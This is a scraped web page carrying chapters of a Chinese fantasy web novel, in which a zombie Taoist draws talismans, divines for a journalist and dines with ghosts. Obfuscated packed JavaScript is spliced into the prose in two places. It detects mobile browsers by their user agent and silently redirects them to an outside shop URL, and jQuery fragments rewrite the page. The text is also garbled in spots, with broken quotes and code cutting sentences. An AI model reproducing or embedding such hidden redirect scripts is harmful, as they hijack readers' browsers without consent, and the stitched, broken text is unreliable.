l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13232832|136336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卫正的记者他说原本不出意外的话那天他应该和那三人一样坐着同一辆车死于同一场伪装的车祸。”段云双道“不过在此之前他的朋友找到他说帮他算了一卦——” 话刚落容镜的小脑袋便快速转了起来 见容镜的脸上有恍然大悟的神情露出段云双笑着扬眉:“我们有一个计划但在计划实行之前想让你再给他算一卦。” 段云双说完立马补充:“给钱的。” 容镜:“……” 他倒也不是那么爱钱的小僵尸。 但如果给钱小僵尸就会动力满满。 他眼睛一弯立刻点头应下:“好啊你们挑个时间。” “你接下来有事是吧?那明天我带人来找你。我先把你送回家。” “好。” … 谢长时应酬完回到云江湾时容镜正坐在餐桌前埋头画符而他们公司那位已经请假三天的实习鬼正趴在桌上双眼泛光。 “容镜到时候你给我变个厉害的腿。” 朱砂滴落在纸缯上被反应极快的容镜一笔划过他瞅了眼程璞玉:“你一只鬼又不能给你变金子做的腿。” 顿了顿又道:“不过你放心到时候你肯定会满意的。” 将符箓的最后一笔用朱砂勾勒完成容镜细白的手指小心翼翼地捏起符纸的一角满意地左看看右看看基本可以确认虽然自己躺了十二年但他画符的本事没有落下! 他还是那只天才僵尸! 往符纸上吹了口气等待着朱砂变干容镜一把将符纸贴在了程璞玉的伤腿处随后在程璞玉瞪大眼眸的注视下他腿部的伤口开始逐渐蔓延出大腿的轮廓、膝盖关节、小腿以及脚掌。 程璞玉兴奋地蹦了两下飘到了天花板上:“可以用了!” 容镜:“那你记得明天带我和谢长时去吃火锅。” 然后扭头看向正挂衣服的谢长时盘着腿 冲他招招手。谢长时走过去,实习鬼很有眼力见地从窗户飘出去,看它的身影逐渐消失在视野之中,谢长时在容镜的对面坐下,视线扫过桌上大摞的黄纸,他先问了容镜:“晚饭吃了吗? 容镜:“……好像还没有。 好难得,光顾着画变换符、给程璞玉安假肢,竟然连吃饭这种头等大事都忽略了。 容镜放下沾着朱砂的毛笔,双手托在下巴上,冲谢长时露出可爱的表情:“我想吃牛肉面。 他指了指面前的纸缯,笑吟吟道:“你给我做牛肉面,我给你画护身符,好不好? “你不给我画护身符,我也会给你做牛肉面。 “那你不给我做牛肉面,我也会……容镜将话咽了回去,在谢长时扬起眉梢似笑非笑的表情下,心虚地摸了摸鼻子,“明天再给你画护身符,因为今天我会耍脾气。 “知道了,爱耍脾气的小僵尸。 容镜冲他的背影做了个鬼脸,低头画护身符。 一边画,一边在心底寻思——其实他也可以卖护身符,不过这东西画起来实在是太费心神了。 光程璞玉需要的变换符就花了他将近一个小时,不出意外的话,这个护身符时间更久。 白天要算卦,晚上画符纸。 ……他都不用睡觉了。 容镜摇摇头将这个想法甩出脑袋。 继续低头画符。 容镜画符时,谢长时偶尔会从厨房内走出来看一眼容镜的状态,见人垂着脑袋画的认真,嘴里无声地低喃着旁人晦涩难懂的语言,请示神明。 他看了一会儿,又无声地回到厨房。 十二年前谢长时就见过容镜画符,不过那个时候的容镜年纪太小,能力也不够,嘴上信誓旦旦,前脚说要给他准备一张护身符,后脚就开始鼻腔、嘴巴流血,喷红了一整张黄纸不说,更是晕了整整两天。 这大概能算得上是小僵尸道士生涯中的黑历史了。 谢长时牵了牵唇,知晓容镜要花费的时间多,便多准备了几个菜,更是将容镜点名要的牛肉面放到了最后,确保小僵尸能吃到最新鲜的面。 慢条斯理往锅里下肥牛时,谢长时扔在一旁的手机亮了亮,他垂眸看去,是陆云霁。 陆云霁:给项目去晦气那事你跟小尾巴说了没有? 谢长时将勺子放到一旁,打开水龙头冲干净修长的手指,又一点点擦干,才拿起手机回复:没。 陆 云霁:那你现在还不快去? 谢长时:他没空。 陆云霁:他不会这么晚还在给人算卦吧?谢长时,你怎么当人监护人的?小心给累出病来。 谢长时:他在给我画护身符。 陆云霁盯着对话框上的字,脑袋上缓缓露出一个问号,然后面无表情地将前一句指责谢长时监护人当得不称职的话撤回,并微笑:所以你现在在炫耀? 谢长时:眼神不错,被你看出来了。 陆云霁:“……” 像是察觉不到陆云霁此刻操蛋的心情,谢长时的后腰抵着料理台,神情放松地继续发消息:如果你想看的话,明天带过来给你看看。 陆云霁:“?” 他冷漠无情:我不想。 谢长时:不,你想。 陆云霁:“……” 作者有话要说 陆云霁:我是什么很贱的人吗? 感谢在2024-08-0615:43:11~2024-08-0817:43:07期间为我投出霸王票或灌溉营养液的小天使哦~ 感谢投出地雷的小天使:闻竹声、37544471、俞兰枝1个; 感谢灌溉营养液的小天使:从别后忆相逢303瓶;谷江山的狗114瓶;wang蓝翼、苏苏呐、雪夜涵尘20瓶;残梦〆、秋夜月皎皎10瓶;疏行7瓶;北极星6瓶;Ksohj.、那就万事顺利、兮、洋崽、738762815瓶;Shahryar4瓶;海王星辰、42164649、流舟、基酒、40072084、七七3瓶;我要上天!、看完这点就睡觉、啊哈、星空·孤寂、小十七、Peche、dai个哒哒、白柳的钱币2瓶;辣味过敏史、霖君洛、柠檬加雪碧、noya、洛不洛、一个老好人、悠风、此恨绵绵无绝期、秋海枫洋、白鸠、若云、墨将篱、木木林、Casually、TSye、无念、绷带小猫、七秒鱼、3.1415、静静宝宝、酒醉的蝴蝶、莫小玖、荼蘼、寧、sg裳舞313、家养小花、Hyena、晚风1瓶; 非常感谢大家对我的支持,我会继续努力的! 第 26 章 怎么能讨嫌成这个... 026. 毫无意外地收获了陆云霁的拉黑,谢长时眉梢微扬找到对方的手机号发送短信:手机号记得也一起拉黑了。 陆云霁:“……” 堂堂谢氏掌权人,怎么能讨嫌成这个样子? 也不知道容镜看上他什么。 陆云霁翻了个白眼,将手机扔到一旁没再理会谢长时。 来信的提示音许久没有响起谢长时大概也猜到了陆云霁此刻暴走的心情颇有些遗憾地放下了今日份乐子,转身继续给容镜做晚餐。 等谢长时将最后一碗铺满牛肉的牛肉面端到餐厅时容镜也放下了手里的朱砂笔,他满意地将护身符叠起来,递给谢长时:“到时候塞衣服口袋里就行了。” 谢长时看他塞护身符的动作熟练得仿佛消费后给人塞小费,问道:“没有锦囊吗?” 容镜无辜地实话实说:“没买。” 然后表情逐渐理直气壮:“没事的塞衣服口袋也一样管用,你只要没事别掉河里,一般都不会烂掉的。” 啪嗒一声兆龟和铜钱摆到面前他做法似的摆弄了一阵,给出确切答案。 “给你算过了最近跟水无缘,不会掉河里的。” 谢长时:“……过来吃饭。” 容镜早就闻到了从厨房传出来的香味那香味勾得他画符的手都忍不住想要停下来,要不是还剩下点自制力那护身符估计半路就报废了。 随意将桌上的东西往边上推了推,容镜两三步就冲到了餐桌前,一手握筷子,一手拿手机,咔嚓咔嚓拍照上传到朋友圈并附赠自己的一个笑脸。 随即抬头问男人:“你要不要再吃点?” 谢长时摇头:“我吃过了先去洗澡你慢点吃。” 容镜哦了一声看向了朋友圈最新跳出来的好友评论。 陆云霁:谢长时果然有贤夫良父的气质/大拇指 宋清也跟着评论:谢总果然有贤夫良父的气质/大拇指 陆云霁回复宋清:宋特助胆子挺大竟然敢调侃你家谢总你也不怕他看到给你穿小鞋? 宋清下滑朋友圈动态的手微微顿了一下 陆云霁:可是我把他拉黑了他又看不到我的评论。 宋清:???? 宋清的脑袋窜起一股热气感觉浑身的热流都在一瞬间往上窜他二话不说、手脚麻利地删除贤夫良父的评论继而重新评价:谢总不愧是谢总厨艺和事业一样棒! 陆云霁撑着下巴看着宋特助挣扎,预感到宋特助可能因新评论而松口气的时候,慢悠悠地扣字:忘说了,刚截图了。 宋清:“…… 狗屎的! 堂堂谢氏副总,怎么能讨嫌成这个样子! 容镜光顾着吃饭,对宋清和陆云霁的后续交锋并不是很清楚,将所有的菜都一扫而净,他很乖地主动承担了洗碗的工作—— 将所有的碗都扔进了洗碗机。 并大肆赞扬,人类的脑子就是比僵尸的脑子聪明。 回到房间,他给程璞玉发去了信息,询问对方新安装的假肢感觉如何。 程璞玉:超好用! 阿镜:还有隐藏用法,下次教你。 ‘隐藏用法’四个字瞬间引起了程璞玉的兴趣,然而不管它如何询问容镜,容镜都没有再吭声。 保密工作做得还挺好。 程璞玉一边在心底嘀咕,一边飘回到了自己在谢氏的员工宿舍。 看看放在一旁的西装,它想,也许它明天该去上班了。 … 一整天时间,容镜小摊前的人数几乎没有减少。 和前一天一样,他一直等到当天的傍晚才勉强有机会收了小摊,坐上了段云双的车。 车辆最后在一家咖啡厅停下。 段云双推开门,收银台后方的年轻男人一边擦着杯子一边抬起眼,目光淡淡的,但眼神里却含着与普通人与众不同的气势。 “五六,这么凶干什么?小心吓到我家弟弟。 被称为五六的男人瞥她:“你弟弟可真多。 段云双谦虚:“还好啦,但只有这个胜似亲弟,其他的都是在外领养的。 她指着男人给容镜做介绍:“这是我们门派的小师弟,大名叫吴硫,小名叫五六,你可以直接管他叫五六。 说完又皱了皱眉:“我是不是还没给你介绍过我们门派?我们门派可是国内数一数二的大宗门,说出来你肯定知道,叫青云门,青云之士的青云。 段云双对自家门派的自豪与充满希冀渴望得到赞赏的目光在对上容镜乌溜溜的眼眸时,消失得无影无踪。 她僵硬了几秒,摸了下鼻子,给自己找补:“不知道也正常,你年纪还小。 容镜心领神会又体贴地解释:“我以前一直住在山里,是半个多月前才被放出来的。 南城墓园建在半山,勉强也能算山,所以容镜这话其实没什么问题。 他这么一解释,段云双更舒心了, 搂着少年的肩膀,乐颠颠地道:“那你现在下山了,以后想知道什么随时问姐姐,只要姐姐知道的,姐姐都告诉你。” 一人一僵尸一边说一边往咖啡厅的小包间走。 走过去容镜才发现这个看上去普通的咖啡厅其实含有很大的玄机,见容镜感兴趣,段云双也没藏着掖着,直言:“这是我们门派在外的秘密基地,大家有事没事就来这儿吹吹水聊聊天。” “小镜子你要是有事想联系我又联系不到的,可以直接来这边,还能免费喝咖啡。” “好。” 包间的门被打开,露出了坐在其中的身影。 卫正在包间内等了许久,包间虽然还算宽敞,而且窗户也打开着,但或许是因为心里记挂着事情,导致他情绪紧绷,一度有些喘不上来气。 他有些坐不住,正要起身走动走动时,门外传来细微的动静,他眯起眼,所有不安的情绪在瞧见段云双的身影时,被彻底压了回去。 卫正上前,喊了一声:“段部长。” 段云双朝他挥挥手,观察了下他的样子,没错过男人的额角洇出的一点汗意,心里猜得到卫正的忐忑,但也假装看不出,只温和地笑了一声:“等久了吧?” 卫正摇头:“还好。” 随后,他的视线便落在了段云双的身后。 这算是真正意义上的卫正和容镜的初次见面。 上一次是郜永元指着容镜的采访告诉他,别看人年纪小,但本事却很大。 卫正朝着容镜伸出手,深吸一口气:“容大师你好,非常感谢你救了我一命。” 容镜跟他碰了碰手,弯了弯眼眸:“别客气。” 主要是人也听劝,否则光他卜出了卦象也没用。 但容镜不知道的是,卫正其实是一个非常固执的人,在最初听到郜永元说找人给他算了一卦的时候,他不止没当回事,甚至还笑对方,问郜永元:“你还信这个?” 所以,在卫正的计划里,他是要按照原定的时间与三位死者同行的。 但就在他收拾东西准备离开的时候,他的女儿突发疾病,被送进了医院,妻子在电话那头哭得撕心裂肺,恳求他留下来。 他和妻子一共有过三个孩子,前两个都不幸夭折了,眼下这个女儿虽然活了下来,身体状况却一直不太好,卫正向来把她当成眼珠子疼爱。 因此,再三思索之后,他最终还是暂缓了计划,并且前往了医院。 “后来我才知道,我女儿其实什么事也没有,他们联合起来 骗了我,卫正苦笑一声,“但也救了我。 所以不管是对容镜还是对郜永元以及自己的妻子女儿,卫正都十分的感激。 “弟弟,今天叫你来其实是想让你帮卫先生再算一卦,算算他接下去的安危情况。段云双给两人倒了两杯水,分别推到他们的面前,“我们门派都是打架的好手,唯一一个算卦勉强过得去的,不知道跑哪儿去了,根本联系不上人,加上卫先生的妻女都比较信任你,所以就只能劳烦你辛苦一下了。 容镜当然不会说不。 他很快给出了卦象。 半吊子段云双凑过去,好奇地问:“这是什么意思? “卦象上下皆为离,光明接连升起。 “大吉? 容镜点头,又指了指:“爻辞六二,意思就是如果卫先生在这次的行动中始终坚守正道,并且有贵人相助的话,结果就会是好的。 坚守正道暂且不论,‘贵人相助’这四个字已经很明显了。 “有你们特殊部门在背后帮衬,卫先生只要做好自己,就不会有问题。 话一出,段云双和卫正都松了一口气。 后者更是摆明了说:“放心吧,我以前还去卧底过一些食品工厂。承诺给我上百万的封口费还有威胁我说要找人弄死我的经历也不是没有过,我都没放在心上。 “从我选择当记者开始,我就很清楚我要的是什么。而且我女儿一直以我为荣,说以后要继承爸爸的衣钵,我不会让她失望的。 这话听得段云双艳丽锋锐的眉眼都温柔了几分,她冲卫正笑,伸出手再度与对方一握:“那么,合作愉快,卫记者。 “合作愉快,段部长。 … 段云双安排了人在背地里保护卫正,便放任卫正独自离开了咖啡厅。 她手里端着吴硫送过来的卡布奇诺,站在窗口的位置看卫正的背影消失在视野之中,抿了一口咖啡,对桌前正因为美式的苦涩而皱起脸蛋的少年道:“程璞玉那件事情之后,我不是去了滢洲找凌霄老道吗?虽然没找到人,不过也知道了点大概。 “丹枫商场的负责人一直说他不清楚凌霄老道处理商场建造问题的方式是打生桩,倒没说谎,因为和凌霄老道有联系的是丹枫集团内部的人,商场的一个小负责人还没资格请凌霄老道出山。 “再结合此次毛巾厂事件,我们怀疑凌霄老道和丹枫集团内部应该有长期的合作,一直以来丹枫集团遇到的各类问题……能用钱解决的就用钱解决 ,用钱无法解决的,就该凌霄老道起作用了。” 段云双将这些事情告知容镜,是因为如今程璞玉跟在容镜的身旁,但他们特殊部门有特殊部门的行事准则,其他的计划一类她还是闭嘴不言。 很显然,容镜也没有想听的意思。 因为,他的脸快皱成包子了。 段云双见他这副模样,实在没忍住笑:“早跟你说了,你选的这个很苦的。” 容镜嫌弃地杯子推到一旁:“但是五六说这个好喝。” 段云双:“你信他的话,母猪都能上树了。” 不过五六确实爱喝美式。 她上前拍了拍容镜的肩膀,带着人走出包间,安抚他:“姐姐让五六给你煮奶茶赔罪。” 容镜终于不用再挣扎着喝咖啡,蓦地松出一口气,而后听到‘煮奶茶’几个字,眼底微微亮起,但又想到点什么,低头看了眼时间,问段云双:“煮奶茶要很久吗?” “不久,不过你晚上是有事吗?” “晚上要去天地通吃火锅。” 段云双:“……?” 她的眼角跳了跳,不出意外的话,容镜是她遇到的第一个会去天地通吃火锅的人。 口味倒是蛮特别的。 她想了想,小声问:“很好吃吗?” 容镜点点头:“好吃。” 他来到雁城这段时间也央求谢长时带他去吃过火锅,根据宋特助的说法,那家火锅店在整个雁城都是数一数二的,还死贵死贵,但味道完全不如天地通。 他补充:“还便宜。” 段云双眼睛微亮,白皙纤长的手指摸摸下巴,寻思等凌霄老道的事情结束了,或许她也可以带部门的人去天地通吃一顿。 现在外头物价太高了,他们特殊部门说实话挺穷的,但大案之后的聚餐必不可少,去天地通要是能省点钱的话,也不错。 等奶茶的过程中,段云双接到个电话,提前离开了。她走前原本想将容镜带走的,但容镜还没喝上奶茶,而且前脚他才给谢长时发了定位,便挥挥手让段云双独自离开。 她一走,正装模作样擦杯子的吴硫悄无声息地走到了容镜的身后,戳了戳少年因趴在桌上而微微弯起的脊背。 容镜回头。 见吴硫轻咳一声:“听说你算卦很灵?” 容镜谦虚:“是挺灵的。” 吴硫抿了抿唇,张开嘴半天,看上去似乎有点纠结,但到底还是抵不过内心疯狂涌现的想法和渴望,厚着脸皮问:“那你能不能帮 我算一卦?” “你想找我算卦你还骗我说冰美式好喝?” “是挺好喝的呀,我每天都喝,这不好喝难道那种甜腻腻的好喝吗?” 容镜绷紧脸,掷地有声:“好喝。” 吴硫:“……” 他不想跟容镜吵,毕竟他是真的想要容镜帮他算卦,索性违背良心胡乱地点头:“嗯,好喝,你说的对,等会我给你的奶茶多加点糖,那你能给我算一卦了吗?” 容镜朝他张开手掌,露出五根手指头:“五百一卦。” 这规矩吴硫倒是知道的,他比了个OK的手势,掏出手机就问:“往哪儿扫?” 容镜一边找出自己的收款码,一边问:“你想算什么?” 吴硫:“算姻缘。” 容镜:“……” 他上下打量了一下吴硫,虽然吴硫的长相看上去挺老成的,但刚才段云双无意间透露过,吴硫作为青云门的小师弟,年纪是最小的,今年也才二十四。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13232833|136336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 没想到这么年轻就着急算姻缘了。 “艮下兑上,六二爻辞,不能操之过急,要等。”容镜端着下巴盯着卦象瞧,给出最后的答案,“你暂时还讨不到老婆。” 哪想吴硫听到这卦象内容还挺开心,喜色半天都没有从脸上消失,他满意地露出笑容:“卦象不错。” 不能操之过急,要等。 这卦象的意思摆明了就是告诉他,有机会。 那时间算什么? 暂时讨不到老婆又不是一辈子讨不到。 心情因此而变得愉悦的吴硫在几分钟后看到门口停下的黑色迈巴赫以后,一杯奶茶插管递给容镜,一杯奶茶打包递给谢长时,并微笑送行:“祝你们在天地通有个美好的夜晚。” 谢长时:“……” 容镜:“……?” 啊?话是这样说的吗? 是不是有哪里不对? … 宋特助今晚有约,将容镜、谢长时以及顺路的小鬼程璞玉送到天地通以后便离开了,否则他也想厚着脸皮去尝尝天地通的火锅味道有多好。 守在天地通五楼处的工作人员瞧见容镜,嘴角抽了抽。 他还记得容镜。 毕竟容镜这张脸长得实在出彩,而是鲜少有人类会主动来天地通这种卖丧葬品的店铺吃饭。 这一次,容镜不止是自己来,甚至还带了个人来。 他一边给容镜竖起个大拇指,一边往边上侧了侧,真心实意地夸赞:“二位真是与众不同。” 容镜全当对方在夸奖自己谦虚道:“也还好啦就一般般。” 来到火锅店点了容镜心心念念的A套餐他热情地招呼谢长时:“你多吃点。” 谢长时的视线扫过周围。 火锅店没有包间这也就导致他能清晰地看到不同长相的鬼魂们各自分坐在不同的桌前 谢长时:“……” 谢总从上小学时就经常在司令台演讲被无数学生围观长大以后进入谢氏开会、年会时被人注视的机会更是只多不少但像今天这样被一群鬼当成猴子看还是头一回。 很特别的经历。 正巧手机叮咚响了下谢长时垂眸看一眼。 陆云霁:你们搁哪吃火锅呢?他大爷的章成安又鸽我你们俩善人有善心捞捞我。 陆云霁口中的章成安是陆云霁大学时的好友如今在谢氏的合作伙伴傅氏那当高管。 谢长时修长的手指搭在桌面上轻轻地敲了两下后忽而问容镜:“介意喊陆云霁一块来吃火锅吗?” 容镜嘴里叼着肉摆摆手说话有些含糊不清:“他不介意就行。” 于是谢长时将天地通的定位发了给了刚把他从黑名单里拉出来的陆云霁微信上。 陆云霁靠在车上一只手掐着烟一只手握着手机有些不确定地看看定位掐灭长烟手指在屏幕上放大定位上的字‘天地通’骤然撞入眼中。 陆云霁:“……?” 谢长时耍他? 但下一秒谢长时便发来了一张摆满火锅餐品的照片来。 并道:再不来容镜快吃完了。 陆云霁打字:你确定是天地通没骗我? 谢长时:嗯。 陆云霁:你骗我我明天早上就递辞职报告。 谢长时:爱来不来。 陆云霁冷笑一声扔下手机直接一脚油门走上了前往天地通的路线。 二十分钟后。 陆云霁绷着脸来到了天地通的五楼走向容镜和谢长时的桌子。 越往里走他眉头皱得越紧甚至伸手搓了搓裸露在外的手臂一坐下便迫不及待地问:“这里的空调是不是开得太低了?话说回来雁城的这些商家竞争已经变得这么激烈了吗?都愿意跑到天地通五楼开店了?” 陆云霁是亭阳人祖籍在亭阳平时清明回家也只会在亭阳的丧葬品店买点东西烧给家里的先祖因此对于天地通也只听过大名里面还未进来 过,压根不晓得五楼就是天地通自家的产业。 他喋喋不休:“还有你们俩,竟然也愿意跑来这里吃火锅。” 谢长时面色不改地喝着工作人员送来的茶水,语气平静:“情趣。” 陆云霁:“……确实挺有情趣的,甚至愿意加个电灯泡。” 嘴上承认自己是电灯泡,但陆云霁吃火锅的手和嘴却一直没停下过,直到时间一分一秒流逝,他摸了摸自己的脸,对谢长时道:“不知道怎么回事,我总觉得有人在盯着我。” 谢长时依旧面色不改:“你的错觉。” 陆云霁点点头:“我当然知道是我的错觉,但是——” 话还没说完,就听谢长时补充:“盯着你的只有鬼。” 陆云霁:“……哈?!” 作者有话要说 姐妹们,明天也就是周日的更新不在零点,大家不用等哦,因为要上新书千字榜,所以更新延后到周日的晚上23:30左右~ PS:放一个预收,有兴趣的宝可以去专栏收藏~ 《我真的是人……才怪!》 闻桑是一条鱼,但有一天,他上岸了。 为了安全度过他的发/情期,他决定去找自己的未婚夫履行婚约。 听说他的未婚夫儒雅俊秀、温良恭俭,工作又好,是绝佳的结婚对象。 闻桑信了。 并且在上岸后不久,他运气极好的凭借一身揍谁谁死的强悍武力入职了某特殊部门。 进入部门以后,闻桑才惊觉不对。 ……这群同事,怎么好像都很讨厌非人类的样子? * 人类与鬼怪争夺家园的战争进行得如火如荼。 特殊部门的员工们每天做梦都想把鬼怪捏死,没行动的时候在部门内问候鬼怪祖上十八代,有行动的时候哐哐锤烂鬼怪的脑壳。 而作为部门小新人的闻桑,一边捏爆鬼怪的心脏,一边欲哭无泪地藏起自己的鱼尾巴。 现在辞职,还来得及吗? 闻桑将准备了三天的辞职信送到上司的办公桌时,上司正冷笑着将犯了错的员工骂得狗血淋头。 闻桑跟只鹌鹑似的缩在一旁,小心翼翼观察上司的模样。 高大俊美,被包裹在衬衣下的肌肉线条极其优越。 感觉能随机捏碎一根鱼尾巴。 然后,闻桑的目光无意扫过桌上的身份牌,陡然顿住。 天杀的,这上司的名字,怎么和他未婚夫的一模一样? * 蔺枢很早就知道自己有个未婚夫,是条年纪不大的人鱼。 但他没想过,有朝一日这条人鱼会主动送上门来。 闻桑也没想到,说好的未婚夫儒雅俊秀、温良恭俭,怎么到最后变成了脾气暴躁,不服就干,拉都拉不住的大凶兽。 第 27 章 看什么看,那是你... 027. 谢长时见他狭长风流的桃花眼瞪圆,一副不可置信的模样将茶杯往桌上一放问他:“天地通的餐饮场合,你我才是异类,有什么不对的吗?” 所以并不是什么商家竞争激烈而是这里只对天地通的地下客户开放。 陆云霁一时不知道该说什么但他能明显感觉到自己浑身僵硬,连握筷子的手都变得不自在起来。 他舔舔嘴唇最后确认了一遍:“你没骗我吧?” 谢长时:“我长得很像会骗人的样子吗?” 陆云霁心道这可不好说。 整个谢氏的员工都以为他陆云霁是心黢黑的老狐狸,殊不知谢长时比起他来只强不差,可这些东西是能从谢长时的脸上看出来的吗? 他努力夹了块肉放在嘴里,没滋没味地嚼了半天试图让自己冷静下来,然后说:“其实我对鬼的存在已经接受良好了。” 昨天从谢长时的口中知晓负责与蒋氏陈荣对接的是只实习鬼以后,陆云霁便因为好奇去询问了宋清。 宋清面对他的问题先是问了一句:“您相信这个世界上有鬼吗?” 陆云霁反问他:“相信又怎么样不相信又怎么样?” 宋清一脸理所当然:“相信的话我接下来的话您就认真听,不相信的话您就当我和谢总脑子搭错经。” 陆云霁:“……” 宋特助这段时间去学rap了吧 陆云霁给出肯定的答案,旋即从宋清的口中得到了程璞玉的身份以及对方来谢氏打工的缘由。 甚至于他今天还特地去宋清的办公室看望了下程璞玉。 程璞玉死的时候无知无觉尸体是完全的,死后的鬼魂也是完全的乍一眼看去除了是个虚影,触摸不到,但实际上和普通的年轻人并没有什么区别。 尤其是程璞玉如今的戾气也不是很重,又因为容镜一行救了自己且接触过的宋清、束媛、袁思雨等人对它态度很和善,于是它对大部分人的态度也挺好的。 鬼嘛也就这样。 陆云霁顺理成章地说服了自己却不想谢长时在听到他说‘接受良好’四个字以后眼皮微掀语调漫不经心道:“你确定?” 陆云霁点头:“当然。” 谢长时:“那需要我给你形容一下现在的情况吗?” 陆云霁嘴硬:“也不是不行。” “你的右后边有两个鬼一边吃肉一边盯着你眼神都快冒绿光了。” “ 你的左边002桌那鬼的半截身体都没有了嗯它身上的奇怪东西都快流到你脚边了你记得抬脚。保持一会有工作人员来处理了。” “隔壁008桌那鬼在跟自己的同伴发语音说对你一见钟情今晚想跟你回家。” “等等!”眼见着谢长时还想开口陆云霁按住手臂上窜起的鸡皮疙瘩一脸严肃“你这张嘴说出来的话我不信。” 随后扭头看向容镜:“小尾巴你来说谢长时刚刚的话是不是真的?” 容镜抬起头迟疑了一下指着陆云霁身旁的位置 陆云霁:“……” 容镜:“她说她知道人鬼殊途就是想加个微信解解馋好久没见大帅哥了。” 陆云霁:“……” 容镜:“说你要是不愿意就算了它是只好鬼不会让人为难的。” 陆云霁:“……加有什么不能加的都加!” 一顿饭下来陆云霁的微信上多了十二个鬼好友。 这波操作惊得容镜瞪圆了眼睛语气颇为感慨:“你好牛啊。” 陆云霁顺道想踩谢长时一脚:“是不是比谢长时还牛?” 容镜:“那倒没有鬼这种东西谢长时从小到大见多了。” 陆云霁:“小尾巴你哄我一句是不是会死?” 容镜冲他做了个鬼脸低头吃工作人员送上来的水果。 陆云霁也没再跟他说话而是低头看着一排的新好友摸着下巴感叹——真他喵的神奇啊这等经历放在以前他做梦都不敢想。 没想到有朝一日知晓这个世界存在鬼就算了竟然还和鬼加上微信了。 十五分钟后谢长时买了单三人一同离开火锅店。 陆云霁跟在容镜和谢长时的身后一路从五楼到地下车库路过其他四层楼的时候不知是想到了什么忽而问容镜:“所以去世的人都会变成鬼吗?天地通的这些物品烧了以后它们真的能拿到手?” 容镜先回答了他的上一个问题:“嗯但是自然死亡的鬼和非自然死亡的鬼有很大差别前者没什么杀伤力可能会主动选择投胎也可能因为不愿意喝孟婆汤而留在地府。” “至于后者非自然死亡的鬼一般都是执念或怨念过深的鬼战斗力很强也不会主动去投胎如果没有及时捕捉的话极有可能变成恶鬼为祸人间。” “天地通比较特殊根据大家的说法应该是和地 府有联系。 “这样啊。陆云霁想了想又问,“那怎么确定它是变成鬼了还是投胎了呢? “那得看你在地府有没有人脉。 “…… 陆云霁没想到会听到这个回答,嘴角抽了抽,摆手:“看来等我死了我要去地府发展发展。 随后催促:“走了走了,回家了。 说是回家,但陆云霁没想着自己开车。 他以“我今天受到了天大的刺激,现在还没缓过神来,独自开车容易出事故,谢长时你也不想明天收到公司副总车祸身亡的消息为由,死皮赖脸地打开了迈巴赫的后车门,一屁股坐了上去。 结果一转头,旁边出现了一道虚影。 他一口气猛地提起来后又发现那道虚影是程璞玉,便又全身松懈下来:“是你啊小程。 程璞玉很有礼貌:“陆总你好。 “你好你好。陆云霁想到微信上的十二个好友,索性掏出手机,“小程我们也加个好友吧。 多一个不多,少一个不少。 程璞玉受宠若惊,赶紧掏出手机,然而令鬼没想到的是,它刚发送好友申请,就看见屏幕闪了闪,紧接着宋清的消息便跳了出来。 它低头一瞧,赶紧拍拍前座的座椅靠背,在容镜看过来时立马道:“容镜,宋哥刚刚给我发信息说,陈荣那边好像遇到别的鬼了,问我能不能过去看看。 陈荣? 容镜记得他,毕竟当初程璞玉把人吓晕了以后第一时间就找得他。 只是……遇到这种事情宋特助竟然没有第一时间找他,反倒是找了程璞玉。 像是察觉到他的疑惑,程璞玉解释道:“上次不是把他吓坏了嘛,然后听你说他符纸搞错了,我就想着万一有机会弥补……所以就跟宋哥说有事可以随时叫我。 原来是这样。 容镜点点头:“那你当心点,要是打不过就来叫我,对了,还有你那条腿—— 容镜叽叽咕咕说了一堆,程璞玉连连点头。 没一会儿,程璞玉的身影便消失在了车内。 … 程璞玉沿着网线来到陈荣的家里。 来过一次,今天再来的时候程璞玉对屋内各个角落都很熟悉。 它到的时候陈荣正在跟宋清打电话,四十多岁的中年男人可怜地缩在角落里的桌子底下,前方和侧边都围了不知道从哪儿找出来的木板。 他的一张脸上布满了冷汗,一紧张,说话的语速便显得格外 快:“宋特助,你真找人了?首先我不是质疑你啊,我就是害怕你懂吧?我没跟你开玩笑,我刚刚好端端喝着水呢,结果那杯子唰的一下从我手里飞出去,又唰的一下飞回来砸在我的脑门上。” “那Duang的一下差点把我送走,我现在还头晕眼花的。我想着你既然跟我说过那符纸不对劲,肯定是懂这些东西的,所以我才给你打电话求助——” 宋清看到手机上跳出程璞玉表示已经抵达的信息,也松了一口气,然后对陈荣道:“陈总,这话你已经一字不差地说过两遍。” 陈荣一顿,颤抖着手指擦擦额角的冷汗,尴尬僵硬地扯了扯唇角:“是、是这样吗?” 话刚落,右边突然传来叮铃哐啷的声音,陈荣浑身一哆嗦,猛地扭头看向右侧方。因为害怕,所以他将屋内所有能开的灯光全部打开了,眼下能轻易将每个位置都照亮,便更能看清楚其实每个地方都没人,但桌上的杯子、碗筷却噼里啪啦全部摔落在地,并且摔成了碎渣。 陈荣:“?!” 他压低声音惊叫:“宋特助你听到这声没!” 宋清嘴角微抽,继续安抚:“听到了陈总,但是没关系,这是我叫来的帮手跟人家打起来了,你藏藏好,人家打完了就万事大吉了。” 说话的途中,程璞玉正在哐哐揍鬼。 到了这会儿,它终于知道容镜当时说的安装的假肢还有其他用法,到底是什么用法了。 因为假肢的本身是变换符,说到底就是一张符纸,所以程璞玉眯起眼睛看那露出饥渴凶残模样的小鬼,冷哼一声,直接一把拆了自己的假肢,意念一动,手里的假肢变成了把硕大的锤子。 抄起锤子就是干。 噼里啪啦一顿牙酸的声音之后,程璞玉把假肢变成绳子,将小鬼捆了个严严实实,丢到了门口玄关处,旁边就挨着垃圾桶。 陈荣始终竖起耳朵。 这会儿声音突然消失,他呼出一口气,小声试探:“这位……英雄好汉?” 程璞玉轻咳了一声。 